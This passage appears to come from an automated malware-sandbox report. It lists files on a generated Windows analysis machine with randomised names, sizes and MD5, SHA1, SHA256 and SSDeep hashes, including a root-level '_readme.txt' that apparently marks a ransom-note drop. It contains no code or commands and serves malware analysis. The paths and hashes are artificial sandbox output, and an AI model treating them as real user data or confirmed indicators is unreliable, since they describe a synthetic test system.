SSDeep: 96:Gr61excYLM9L4ampT8MsN2VspSkGgGfadLmEoNfSCHMeUJj/ThF3qJjHRKh6:Gr6kxclfrMtLEdLmEQfSrbrqxHRKh6 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\YdDnZ8.csv 24.85 KB MD5: 14be52d39101a827fbf57199093c8af1
SHA1: 37793353a9f625a0b978382c6f11ab08dec4639c
SHA256: a8851de82d170c81c928d8aabfad29c4a90eee03f99f54a61816abbf10a7d673
SSDeep: 768:fKj0gIWMPKAIU07etmBgg0rFT+UkqQ8Mb:fKNIWiIVe4BgtoUN/q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\TVjDvLMaCl23iZhTXt4.wav 33.63 KB MD5: 7ae9c1c2f04d27008ed247b9ba036f71
SHA1: 6820fc63f6f686bac809cece7c3855aa89afc221
SHA256: ddbf154fc2fcfea7b9c7c544e7728cb42b9f6b8832ad8f872b9ef9370bcace41
SSDeep: 768:/Wpz5VaivNW2CFyq6kBH4rXS3ay7+OUf/NwgE+iJhGuF:/ovl1WbVp4SayyOEE+AGuF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\-GixDHhS.mp3 73.29 KB MD5: 4d12b69518630b7d96aa6d5f5f962366
SHA1: 076ccbd4cca037882397d0b9fc07edfa671e4ce6
SHA256: 39dbf088f3eea19967560e5bd8791086e9f2bf18fd72dc64d15d714cfbd0d5ae
SSDeep: 1536:If8SziLW+acZQvJZd1vihqVMN5NkqgmPwkHmGsY7ldb8at9V0:If8SJzvzdYHsqbIQt7ldo09V0 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\z50Nlqq\0m0V.m4a 89.53 KB MD5: 57bb8330196208e16904cc19e8dff3fb
SHA1: c4ac0422df48cacad051bc1b12ff131be7e90e7f
SHA256: 3d2302f077636c1ef41a65327f8d99da9c317891179ce8a34768bfa617d83b32
SSDeep: 1536:zDp7mhipPyAPchI103S19OL2uM0Y4fmCGa34R01EMBNjny:fp7mMpPyAD23SHj54RGTR01EMH2 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\XkvJ3DgV.mp4 70.53 KB MD5: cf766402ab9bfd017b8eac76ab09441f
SHA1: 629b2c2021bd26ca11d94a85bc45c5d05815e505
SHA256: df5ec5ad124b451633a2a021893d248ab5e8c203b5466c3d56f9f4ec9311d556
SSDeep: 1536:2uG6Er16Y64HT5sNh9IiblU9/4w1TMVwSjBPjt7g1E:ZK8Y64HTqrXblQ/x2VXPg1E 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\Ep5U\mgLfL.avi 94.19 KB MD5: 21e5701ff27da1c7fa9738da99d9e9c5
SHA1: 7a561e9dfc4fd1daca997e1ea0544b29acdf9dd3
SHA256: fc0e1fcf0f03441e44603cc55410aa5b59c1e887b1ff4d0ef766bf0ae2a8113a
SSDeep: 1536:3m/E5wuzqA9s/6P+dq5MDS3JImdFra1FRqeEbpVrOpn1mMWE9MOroXEGX66s8D:3mI92/6Ps64m5/8EbpVq5OOlGXLL 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip 41.58 KB MD5: 7caff772fc4f70e4c26dd9c95412fe52
SHA1: 40cecc2a5d70765857de08f1a5258fcda7699a27
SHA256: 3456f83362a31d7f2af6f597cfade01ac4f575cac2131d9338c9db0462940dee
SSDeep: 768:bSVozJX8PqrwpW8NoLl9p5Kf6Xmev0aMy2x7DhYltJAYFShWhp5rwp7pPGF0k:bVlX8Pqr2WvLl9psOmevax5otJAWb5rF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat 32.08 KB MD5: 87354c74a55dfd678e4a87aa3b9ed03b
SHA1: 14001a79f4e2d571e661fb0f269397018f94d5c2
SHA256: db0b684ca2b45e0a77813bff190b325e68f01307057b96617f1efa3e180b9e34
SSDeep: 768:3Jc9tQGF2RZqDEpw6MAKfaJMW6OvTO3FJgsAGM2ENUN0WByt:3JpY2RoDEp3KfaJMn11+ZG9cUNu 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab 568.17 KB MD5: f618a0f071bdababf6e1c948acf4bdff
SHA1: 64aa456b4d195b5a76cb99415154b665a66ed4f1
SHA256: 171020e305b0a9c08f527c79e43a11b9bd2c80c47d1628ce8d1627202cc720d9
SSDeep: 12288:U8osIzxZO+cXM3YMCY4hyMPezVNK9TcS5RyjDUI6Eh/MOhTO:U8XINtL7MPgyTx6jDUbE2IS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi 181.08 KB MD5: 71e9fb80fd971e5bd46a82f75180a5e4
SHA1: 2e537c254e000aebf670d9b21d469a2f009accce
SHA256: 219c2f318c41609a2da488b38cd56b796384802a795fe41c9e4f88a0bdcccbbc
SSDeep: 3072:aVMJbd+yROQODNx6sWOp/Wpz5RbDhRvZzFk8ioAH8NGQIs2TqGe:a5yRvSz6lOpWvhjFk8ioAH8Ndt2T3e 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab 24.17 MB MD5: 9d7b68588dcba841bcdc6d22a146df7d
SHA1: 5d4a08766fbfcd73002f8af5d6a1c814aae0da6c
SHA256: c5cb5b0852dc846f6f1d5a6ad1760d1214bc6e03bc4071727973b2d2766883f9
SSDeep: 196608:K/WdNm7l//upum9uxpfp4uZ8q7zEqaZswqLhQTcvlj9/z2H7DLKH8:K5l//upum9QtEqaeqc3/iH3mH8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\qWXQp5P.flv 78.26 KB MD5: 889b6237fb9a9c730eddcd3e28414336
SHA1: 3eecf5f144823a98eeffb73314b8c8921d5fd440
SHA256: 9be7a01a6b1434a86ee42df40ba12b37a4698feef8394ad5c01e38253fe6f14b
SSDeep: 1536:txb6p7Npcc37hnV5WXRXYqpSXo4NUY6lipKh7pQ0cDjLQLFJLegrkclX:tp6pJpcO7ABIISw7lisd+VDe3 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\j Bzi11dBX.m4a 38.31 KB MD5: 7a9160814c3b103977c1389c2e15e14c
SHA1: fe137efbdc8d7c38967fbbf009a30f94bc3a07cf
SHA256: 35f6f59f5b0851868ff211974ae6193b72566a4f22142c2ac3b51ba6de6e4e1e
SSDeep: 768:9iD5jO9IWc8aJvODLaytN9QEgmio6+JFt+CHmiOLH1jK4BB4ogXQ:otjYMvOv2ro6+JVCNK4fF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\n1AeAV2zVh4radr0H.swf 42.40 KB MD5: f3ff1feef09f4b6fe9e68c3512269e91
SHA1: e4c8d5cde28817312b42611930a4ee3c2bdc66cd
SHA256: 3e52d96154712767d796a844651d6ba94226c0a2fec153e364759ce8e4f3676c
SSDeep: 768:jKE8J2znzV7HZWgkWTCozWD1OYvk3Fbt2DXQzlOitYApy+WCagrM3PLEyEoSlpD:jQ4N7IgkWpWhOYOxwDv6YApy++x3QyET 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\QEzesBv71jyTVEofztiW.mp4 3.03 KB MD5: 1ecac942cc572a0e390c6c26797fb13a
SHA1: bd1474a54a8ce63fae17eb52c3ecb3b13fd72502
SHA256: 15baea6c92063d583e0a5403a7da491416c03a1987585268ce9a064203030a17
SSDeep: 96:2dnff2DZu71p1yonpQqO3UCvoHweMY9l1gRl:2t29u5p1yJFRilm 		False
...
C:\_readme.txt 1.09 KB MD5: d10dbc2ea297cfacc8711a42f0073359
SHA1: 42956b0c47bbdceb08bd50e2fd9a0e9f1e8ba4ab
SHA256: bcaaa5ea1a0fe3463094aa1e539f3ea9a2e5f105fa2aa82df53f1b05ae848464
SSDeep: 24:FSimHPnIekFQjhRe9bgnYLuWceLtmFRqrl3W4kA+GT/kF5M2/kDyJ/b:NmHfv0p6WcKPFWrDGT0f/kOl 		False
...
C:\Boot\BOOTSTAT.DAT 64.08 KB MD5: 4cc8c4cd89ab8b6b023b02e266c2123e
SHA1: eb2c6149a6d1c6c15f45fb0a7118a2433d12296d
SHA256: 10564780e3ca7d9ec80f402f88ee7ff324df545f1eddad60fb133a681ee21493
SSDeep: 1536:ylmK07IOzLBpe5tAap2Lt5ooYT0vtIvPPV3pMe:ylmK07zvocCo4c+13pJ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact 1.23 KB MD5: 25efde9e6b327119646b9f9bd46ae229
SHA1: 0e1d177fa7f03ac74aefd0db27b13450790fe918
SHA256: 86d09b487c5555abc3e47953e1985cba5e25c82eb2f301e7b81947dc750ec7bd
SSDeep: 24:7a6G4jpgeLtivJNytzIzq4to5QaRDW7iMp4wco9xbD:7lfjpgPvJuzIzDK5QaRDlMp/RhD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact 1.22 KB MD5: 6c3125ebaf6dd7176a056072e770ce06
SHA1: ecbc2e3761dc8cc5a0263a43b02bbea64022e17a
SHA256: 6cfd0cfc8ec847b918b29a0912e06b355d9d350478adeecf58f774c086b5e4c6
SSDeep: 24:7a6G4jpZymHPkLtPwgBnYGnUtuOKYs5or2KvdLWo9xbD:7lfjpZyAeXvOKAvdSwhD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c9bdd6Fy9R2i0LIdNVF1.doc 52.76 KB MD5: c3e6212f9bada55ca3a4097b19d722e1
SHA1: 7d87ca39ba6612e0107233e5734052b8bba10ab4
SHA256: ab46386964861c3b7c816bc13d353df49b21c44351679a2cddab831d7069ae0e
SSDeep: 768:kqr1BBjMs9GcG9kUhHP5R5pqrnKqiuFe/539lIg+YhAbTbJMVkLL2cRXrSSZk:kMjBjIcGXHPKzKGMDSg+ZHdMVeL2eX9u 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\dCkeRMnueuS.png 15.33 KB MD5: 042c944b67b2ded333de39efcf8f5aec
SHA1: 029e08a2a2cb0d8aac7a60b3698d71c42ec33433
SHA256: 00456643ee924f1819786bf148fb259d196177b81bd0d83e6c16edc4613960ff
SSDeep: 384:Y7NWsbz5T135KWynqNShRGUcxb99drr5IpnlETHuPyEb:Y7Isb73Y/jhRGhB9vJItlJPyEb 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\F6Te.xlsx 59.87 KB MD5: c6ffcd1cadd0606c180b536409463be9
SHA1: def0e97ec123faccda85c277eb2206ef14094a74
SHA256: ef2ca3015270048ab8b63a7aa592833a19420a634d902462073ac8f12a65a534
SSDeep: 1536:Ap9yn70V18QM0REqxzM4diwCvL6zSlL6g0HSH:d7Ke0JBxAv+zsAa 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\G75P.bmp 48.68 KB MD5: 14b90a0149888bef9f2f82df28264278
SHA1: cac2368454ed59e2c2c4c7939678ac5b915c4599
SHA256: 78803954cc9e7b82d4e9802426391e46df3344c9c284992c5c807466e6fa2c2c
SSDeep: 768:T3vMiMe2O248IJQQjEu57ESCe5Da9Z/pW8MAxyLRAeebfMhU6XNDGQ1X:z8e2O2CWSOO1SZ/YnNLRAohU69H1X 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ilxSdGe1gMuCMD u.m4a 55.72 KB MD5: 88c0f168bda4eda4a5ca2a4338d2fa3a
SHA1: 067c891ae34a4143cbb1a39312503178d9448cc6
SHA256: a55761e1de9aaceb23c5186a6e5a902d66dffe3b119bb535e59d1813de71e6d4
SSDeep: 1536:z037smSLvoMvuYMiOFcYBAIYSNn7fxjfwr98Q8E7r:zOgmSEy2VcQAh6Dxjf+8Qr 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\kmiNoteKSNX.bmp 50.87 KB MD5: 51f37324b5854d1d9d249a58cfc7f2eb
SHA1: 526c3a569ad6c6d8c1b0cbf3af4e2033daf3d5d8
SHA256: 30e90623e0198d584eae157c8c9624ad0f7e202afcb4accbca82caf211d7944d
SSDeep: 768:IoUIHgCLOG9eDZtKnR2ua0x/fPBAW/gQm4ko/RwUolN2Pg9X9n88M1rQW:IolgCiXDbKnRZpKW4eL2lN2Pg9NnMrQW 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PbgTn4O2W.mp3 50.54 KB MD5: 28afe255baf9556c6d748da06121de20
SHA1: 57c3f062b1e4dd2a601ee683131a3830887338c4
SHA256: ee7faf6e38fbeb1812bbd71f4cbeb1c8e0de1e8200a477b35fcf0a30b2856345
SSDeep: 768:MBCqkCR1pDuTnCxHBTNJDkxdvvZIQq48P6Gv2SbttRtIMLQuriuD4iy8vTSv7WB4:741bHRNJORIH9Ppv2SbttRbFeOToiv5+ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ti-oi3g-0V2.gif 15.67 KB MD5: 6991ec6d4b2b16459e2d9b52ca0a13a1
SHA1: 32b5c7a134d116fbd6e35af2094aa8899182bb44
SHA256: b43a10c9c2ef5466e4e298a787da324d4e7e86e1335375d0bcc77fbc01c73218
SSDeep: 384:/FwXHEpgLquAZ9u0S1ig9IdAm2oAm1g9UACjoR:/FwXHEed4TS1ToAm1bljS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\zbn0rhaHx NfXQs.flv 65.85 KB MD5: 89e2dcd171624e3e689149eb62137abc
SHA1: 043b037db89f00669b7c3b56a476fd71958e5f70
SHA256: a24b03494f7ab4edbe6b5d1e8bab9c52569ece6ff194beda108f14429c9f1d89
SSDeep: 1536:Oau2bJ6/GdB+3BR/W/DlYL5caMKynweanh2:O8dB4BRGDlYFcKynX3 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\-p4ffBCma.pptx 51.04 KB MD5: 0d035efc4f31fba32f7ee88dd33da8e8
SHA1: 2e90f87872a896ea27db474d6d0e046c83edc51d
SHA256: fbc30c3b371b4e9d8625cb7a1a54e1ee921734a24127e7bd56edc6daf2f61447
SSDeep: 768:+dxiD0kCTIdPMYub9afcLvFWjTZXYRpa4THQ3k8WQKGtO:z0jcdkYAUfcLtWHZXka4TubW5 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\1dRMBdJ8JilqvY.pptx 69.73 KB MD5: 23fbb997611fab10be888f4392bf0222
SHA1: 8b85582da4fbe4139474c0ac0f7f345104fc5ca0
SHA256: d30118f9a9e0448b5fca4ccdf0bc92acfadf2d9724ce632413e56a40fe4b963f
SSDeep: 1536:MnLECpNrA0OwSp38o8jbpcW/55YLiCo3ENnCju8bC0NTch:MLECRSp398niY5YWCo8UbCp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\5eg1.docx 25.37 KB MD5: bf9818563a654ab749268db06e21fe2c
SHA1: caaec7fc3481d743a92e000b4dbb45a060bedfae
SHA256: 65b9a56fe1195914dbad135446148a3ce1f611a4d27dd17bd68efa59c016442d
SSDeep: 384:JUaRdAV2EC3Opg6DNgt5XQu18W7Wf7/rRtkFlBuNFT6kVMOXhfOCf/LdTnf0FuP:J3dAVfC3OLDNKguul7/DOuH6kXXhLnfZ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ckvWAPm3 YLx5ut.pptx 2.03 KB MD5: 317997bd6aa400213c0fc292b353892d
SHA1: 508dc1f074266d096371470736a34b325c185879
SHA256: 1d159a608c1967dfc5f55f0246035cd20cae8c9d65d51e7f9e9c5a7a396a5499
SSDeep: 48:fcYDTWtnVxjNG9QV0GMjdZMh2WIfIiXG+dD73jBPFsFchD:dTWtnVxhGHGMjdZM1Y2avFmFa 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\c_0f9-L4gyuk6.xlsx 64.95 KB MD5: a9b2dcd4ee04450ae69e820fedadb04e
SHA1: 6011e5c2903377bd7c45d930ee5d0831c0b0d941
SHA256: d2186bae14f2e16ca3aab8d524cc01bc682edc73544743c5ba043bfe7dc62b79
SSDeep: 1536:q28FhhkRPeiTK7PXJjBlaT0NIqNSxaQfKq5ws:chEWiIvlaINILxaQSq5ws 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\g7OWFNW_481.docx 38.26 KB MD5: 3914097ad0a4148206dc91cf556e729e
SHA1: f404639e6d8f90aa6c9a9ea15a6d44742fd86e93
SHA256: 68198a0504b8470529de4fb2c1b54ca2d0aef6a9ad9da4a79cdb4074d6ae6563
SSDeep: 768:J32QAj+kJ1zGAG7EWzjQbjMwiNh0YCm6STqsdX+XTkJN91dwJbh4VE:4vj+kJ1zComQcwuszSNX+YJLwJ94m 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\VbVUQGncHIj1 ec.xlsx 68.95 KB MD5: 31cb68c352e4e74d83a829fc6683883e
SHA1: 89993dc18ec692dc7b512c3b50dfb54d5078337a
SHA256: c2faedefbf4799100bab4089e791e0291791464ed7cf7cb539159043fdcda234
SSDeep: 1536:uiEqDEaIkJrYnfWxS5/Moj/uh9m+6LwKScPp8nOrOHR9Zpl8kzQI:X572WxS5UorZ+PKScPqO6HmkzQI 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\xCUGudyvE2cZEXnf.docx 57.26 KB MD5: 60471184ad2e9cc0d7772c235475f938
SHA1: 4ca43e975aa7d5a0d4659767196e824ae07418fc
SHA256: 8bd0a222f41db7b4d8e0305ea48a5202dd1c10a5bba683342d28c0c10f6224d6
SSDeep: 1536:7ojoL8rdOYzaQHODqFqcK87Mo9kzzCHwz27FUum3SD2A0r:kUL8PzpODqFqcK8w8kzVr1AO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yB1sPauX7FL.docx 45.92 KB MD5: 07992a033e2ee77be442ddb318c8ebbf
SHA1: 72f1df1ab8cd747bea2132b93e351cfc46a29fae
SHA256: fdf091e7c4e99d8791fa0d99f6f71362c5ab6afbe50bd87b31e919ab7625b627
SSDeep: 768:J2t26nD6zsCsDHZ4LEP+7d23Xr8iydVcPYDJVrX7pc8+4jtBq4D6SZa4hIRECiW3:F6GcZ44PYtLc+B7pc8Xbq42Sg4iECY1i 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yjqyP77NFy.xlsx 16.17 KB MD5: 1253f7bf767011180308a3d6a63762f4
SHA1: 4a48739af800d8f52cf88bbde3c43ce01d94b890
SHA256: a6c6f632b340aa551a2925d48e1c20fcdbda2d907d473b2dba7fdc477d25fda4
SSDeep: 384:aQBlG1t0oohbsibBqVuLWxOefjxYG3SvCwuJc2C5DxqM/HVj7JfLK:a8+12sikVuaxOetbS4fCbHVj1f+ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\gN3ngE.m4a 67.46 KB MD5: d75c516eb68820938bba93986521276f
SHA1: aaeca5b84556b72e06fc92216e06c5cbfdd900ea
SHA256: 083aaae0455ea634e7fa08966647ab7711bcae4d4fcfea60867e059f23c59e1f
SSDeep: 1536:i4+KSQDaJrJg87zJ8n0agwIjG6j5U8AvXq:i4+/QDGgmO0TGs5U9vXq 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\EVN7NAajpgvxg30uiR.mp4 61.64 KB MD5: bf3657ddf238748884d1e2fd0250baa5
SHA1: c3ec3161807d515c4c6b79dfaec4c187bf18beec
SHA256: baaebd0f060149aa634d71aa3667694140eb694577f5f52fcf9841fa168312e7
SSDeep: 1536:2xCWPBYAez+HfvVdByXsJf5EWZmdNl/F3Ldrcrmkf9mglr14SuqeQL:vWmPz+/vw/9dN6rmNglr2SuqeQL 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\_GY pjw8nLR.avi 32.82 KB MD5: 29ddddf040f07f7b94dbb2e203584bd8
SHA1: 20391111d69b52c602d59eb8107fba4e11f69422
SHA256: 55b7cc27b406e05cc428d19285a96ae2a6009e7503cb99071d062031060fb192
SSDeep: 768:SjmShySRaT11Zg+WVlH/xorgLReHUwND2H:QmShySaT11NwH/lVTwYH 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst 265.08 KB MD5: c4f269ad7f7bbacc2da67b41aa0fdd06
SHA1: 7cd1ab5c21e1c2be23bf666928e11e163fef130f
SHA256: 7b1c37783a43e5fd47fb8b80b48b2123a599ab464022dece1cefaf62139bb228
SSDeep: 1536:36BpIhCUEwBJLdJfXAK2gJIZqtck6z6//LAG/KoHKy9LK8OMrBE29iBmjtHcyqgu:3KUL7DqPJW/EC9lXd5nJ6gcXG4w4Ac 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\0yRPUT6TDREHeWByR4rP.docx 88.20 KB MD5: d019815b188d2a361030f99a3137bc7f
SHA1: 9f03b2319858194099f41f40b28654044ebc9759
SHA256: c553acc1083f5f365b092a49c2c9f63774f665276e293480078744b303948a12
SSDeep: 1536:ed+cCa8Sl3AhZAUwuGZG02tossq0s9pPC3hKHhS5FuQJhxGCT7qhe6L0KTLq:YdVAckh0C70sexKCFuQPxQw6L0wq 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZYI0v6_buDm-d9O.odp 33.41 KB MD5: 89dd2eb37fe8ef9bd859beef3c88976a
SHA1: 8c6f795b8de4f830d6724fd4227c2c07f5225643
SHA256: 616d56f1efbad7d3be363557749e10b03852c6b242ba0ab5967048514e425e0a
SSDeep: 768:JrSdgDmi0J2bO/lnFNrn3heXMWMKd1BSzd1dy6JvsJGeBs7i1paVs:JrSi0J2bO/Br3DtEuLJ2EjSh 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\Kv9O7qYcn-HRyPYLby.xls 31.94 KB MD5: caa94b1c46b7d80fb822a8ad787f9095
SHA1: 0c6c0072c9099969d6ec0ca837c00f17ab522fe0
SHA256: 38d99e6d99975c7a31b933d84450f64d21f134b89e9a079f3956b29bd872cc3e
SSDeep: 768:gOyAAcz7M5HfhhUnfL/gsPOPuZA18XrqTpfdmxal6:gcn7MBfhynfL/g6O2ZZwl6 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\o5D3Phk7JF5o4RP.xls 3.80 KB MD5: 5531b194d84620546fd151356fcf6829
SHA1: 744c1323ea26fdaf33ea04ad5c9e9ecbb0488939
SHA256: 7eb566aef2f19abc2b7791c5cf70d1566843190cc36e0f6c4fa02641838fdc1d
SSDeep: 48:+UMd/mHFLpx0O1wBsFFl3wAxqHP61XNCJtN+b4gaqDsfwUHC3Kl9ZKjjbUq1a18J:+rdwB1wBsFgAx4619CJtN9WDlL3Kl9Mr 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\tHX0zgZ7OA49IM.xlsx 59.25 KB MD5: c41c3490567533c68b455b36d47cf597
SHA1: 743a2b39125b5a15a1163a6c8391eddb41ad956e
SHA256: b850d9edff70a7b7d1ded739dfb4c38f89458b5d5f8fe1fba851dfd5d7bc9a6c
SSDeep: 1536:HIPzNJccDhOJFgoBmNzF7L4mnlMGyScu292z4AFl:HEzccDoFJBmBFomnlMGyNNAFl 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url 304 bytes MD5: 77daa501be06f50a73b51fb00673cadd
SHA1: d7f39ddfedeff03aa8f58aa95fba41e3c9859d64
SHA256: 1308b16fae1b412ca20816293de3103e52524468fa4b7298a09f5d00db44cb9d
SSDeep: 6:JbMngfaTwhDrxRo/DYbi+ewe93MRJKVHEVtk9xcii96Z:mngfmwhDrx6/A8T93MRJ6EHk9xcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url 211 bytes MD5: 403576c00f74835ea0477560d3d6fbdc
SHA1: 744632c2d4a9ffcb2182d0eb6bd6c987086c1db6
SHA256: 3952810ac983661386277f1aa7e6db78b1497fc5d530b818efced10b97bfe2ac
SSDeep: 3:JG4ApZg2gjjaGk1zFraQ05hY4wg4W4dmsuVB9M2+pMdHVsGWHbJTNncIFiRHIgH6:JbMngfaTwhDrLsuT9MoVtk9xcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url 211 bytes MD5: 396bde7c0503724a5c98bfbd5a884d87
SHA1: 443c5deb0588dc7f50789a0b53641ff767a5e1e8
SHA256: 8756c2ea757b28dd656d368910874529012d9c63b1b8868ad19a57f468a3bed0
SSDeep: 3:JG4ApZg2gjjaGk1zFraQ05hY4wg4W4dmvUVQnSy2+pMdHVsGWHbJTNncIFiRHIga:JbMngfaTwhDrLpSyoVtk9xcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url 212 bytes MD5: c211ecbc5e39af8586d084810e99f172
SHA1: 1ad4b1cf5be67ca97c954f3eb0e14a65aea36f47
SHA256: 95c62131e4689d7b6b6e5840188c631f7c5edb1382e6a08ff644ba95b284a52b
SSDeep: 3:JG4ApZg2gjjaGk1zFraQ05hY4wg4W4dmoIR0rXMdHVsGWHbJTNncIFiRHIgHaRT:JbMngfaTwhDrLoIRsmVtk9xcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url 211 bytes MD5: 799c7d6a8e039c37b0f14630ef4e596c
SHA1: 1f2875a528516ef1c68aa66d6038448a0a840cb1
SHA256: 95ed7dacd49e735fd846e2c8e77c39266824f40d6c08460ada229884e445e038
SSDeep: 3:JG4ApZg2gjjaGk1zFraQ05hY4wg4W4d6Rse1M2+pMdHVsGWHbJTNncIFiRHIgHaZ:JbMngfaTwhDrxRseqoVtk9xcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url 211 bytes MD5: 39bef377efe9a3a479796e64032d4f5c
SHA1: 904de535d1f458669a970070d05f78a9574ffe39
SHA256: a315f183b3242672c43041c16c4b5ad2713be4a0a8eba6a4a4ddd594c3e4e7f5
SSDeep: 3:JG4ApZg2gjjaGk1zFraQ05hY4wg4W4d6Rvlp7MSy2+pMdHVsGWHbJTNncIFiRHIR:JbMngfaTwhDrxRr7MSyoVtk9xcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url 211 bytes MD5: ce99053a7216f401f73402dc480965cc
SHA1: 33384660e1c30c6fbf2bb57bb1dd7b9fee41af84
SHA256: f1a8bd6e5c9d413d039febb471c3f97ec8240847081d17fb100b42d196d09dc0
SSDeep: 3:JG4ApZg2gjjaGk1zFraQ05hY4wg4W4d6Rvlp5MS9hW2+pMdHVsGWHbJTNncIFiRW:JbMngfaTwhDrxRr5MSyoVtk9xcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url 211 bytes MD5: 216215f1072d5ebf36379a777570e4f9
SHA1: 3c5ebb3579f660012481ef0c9931c9ca5bad9abe
SHA256: c4e9bcfe60a413a40cc0cb3e0f83129bd47e3fc75609dde9df5c515a0613d918
SSDeep: 3:JG4ApZg2gjjaGk1zFraQ05hY4wg4W4d6Rvlp6MS9hW2+pMdHVsGWHbJTNncIFiRW:JbMngfaTwhDrxRra9MoVtk9xcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url 211 bytes MD5: eecd5b95504be6c060760d6c8467a9ad
SHA1: 7f8bd6ec7f4a3fbc6b05828b030549d31e8d9862
SHA256: 8be14a0169c83f6d005980ca34152e8cfe17d965ebc796e7c34df9dab7c04d00
SSDeep: 3:JG4ApZg2gjjaGk1zFraQ05hY4wg4W4d6RvybVQSDW2+pMdHVsGWHbJTNncIFiRH2:JbMngfaTwhDrxR6WLoVtk9xcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url 211 bytes MD5: 420d49139aa6ba84e803832a1d8d5264
SHA1: 6a059f21a137db6ab5a9f4f815b2be2ed54dd3fb
SHA256: 8db1417488569dd0859b256d3302ae2cb284055b966214a7df417a58283d670b
SSDeep: 3:JG4ApZg2gjjaGk1zFraQ05hY4wg4W4d6Rvlp9MSy2+pMdHVsGWHbJTNncIFiRHIR:JbMngfaTwhDrxRr9MSyoVtk9xcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\C04Fzue-Z7KVyl_\I31baSbQKLnY9a9KtlkI.wav 90.58 KB MD5: 9472c69912b3cf60eaa7077a0ffe0c95
SHA1: 335d0be6596b28f6c9f2dac2a84d9fb15c2e2517
SHA256: 488d9fe508a11b4c8eb17dd5c437c09d0f147be63b5283d61fd2e6c1ae426baf
